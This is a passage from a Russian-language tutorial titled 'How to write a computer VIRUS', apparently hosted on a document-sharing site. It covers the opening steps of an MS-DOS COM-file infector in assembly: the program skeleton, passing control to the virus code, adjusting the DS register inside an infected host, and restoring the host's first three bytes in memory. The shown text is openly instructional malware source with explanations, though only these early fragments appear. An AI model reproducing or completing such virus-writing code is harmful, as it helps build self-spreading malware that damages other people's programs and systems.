Добавил:
Upload Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Как написать компьютерный ВИРУС.doc
Скачиваний:
4
Добавлен:
30.10.2018
Размер:
1.16 Mб
Скачать

1.5 Начало работы

Для разработки вируса лучше всего использовать COM

формат.Это сделает его отладку более простой и на-

глядной .Кроме того, структура COM - программы на-

много проще и понятнее, чем структура программы в

формате EXE.Поэтому напишем стандартное начало COM

программы :

prg segment

assume cs:prg,ds:prg,es:prg,ss:prg

org 100h

Директива "assume cs:prg,ds:prg,es:prg,ss:prg" на-

значает все сегментные регистры одному сегменту с

именем PRG,а директива "org 100h" нужна для резер-

вирования места для PSP .

1.6 Вирус получает управление

После этого вступления начинается собственно ис-

полняемая часть программы ( метка START ) :

start: jmp vir ;Передача управ-

;ления вирусному

;коду ...

org 110h

Команда "jmp vir" передает управление вирусному

коду, а директива "org 110h" указывает компилято-

ру размещать все коды после метки "vir",начиная с

адреса 110h .Число 110h принято для удобства рас-

чета смещений при разработке вируса .Чуть позже мы

разберемся, зачем понадобилась команда "jmp vir",

а пока продолжим :

vir: push ds ;Сохраним DS ...

;Корректируем

mov ax,ds ;регистр DS ...

db 05h ;Код команды

add_to_ds: dw 0 ; " ADD AX,00h "

mov ds,ax ;AX -> DS ...

Поскольку в зараженной программе область данных

вируса будет сдвинута хотя бы на длину этой про-

граммы,необходимо выполнить коррекцию регистра DS.

Коррекция осуществляется прибавлением к его содер-

жимому длины программы в параграфах,округленной в

большую сторону .Например, длина программы состав-

ляет 401 байт . Тогда она содержит 25 полных па-

раграфов и еще 1 байт.Округленное число параграфов

будет равно 26 .Эта величина и прибавляется к ре-

гистру DS . При заражении вирус рассчитывает кор-

ректирующее число и записывает его в область "add_

to_ds" .Теперь всякий раз при запуске зараженной

программы оно будет использоваться вирусом для ис-

правления DS . В запускающей программе DS коррек-

тировать не нужно, и поэтому для нее "add_to_ds"

равно нулю .

1.7 Восстанавливаем зараженную программу

Как было указано в 1.3 ( п.1 ), вирус должен пос-

ле запуска зараженной программы восстановить в па-

мяти компьютера ее исходные три байтa ( не на дис-

ке, а только в памяти ! ) .Пусть вирус хранит ис-

ходные три байта в области "old_bytes".

Итак :

fresh_bytes:

mov al,old_bytes

mov cs:[100h],al

mov al,old_bytes+1

mov cs:[101h],al

mov al,old_bytes+2

mov cs:[102h],al

Вы конечно знаете,что в COM - программе при ее за-

грузке по адресу CS : 100h всегда находится первая

исполняемая команда .В остальном работа фрагмента

ясна .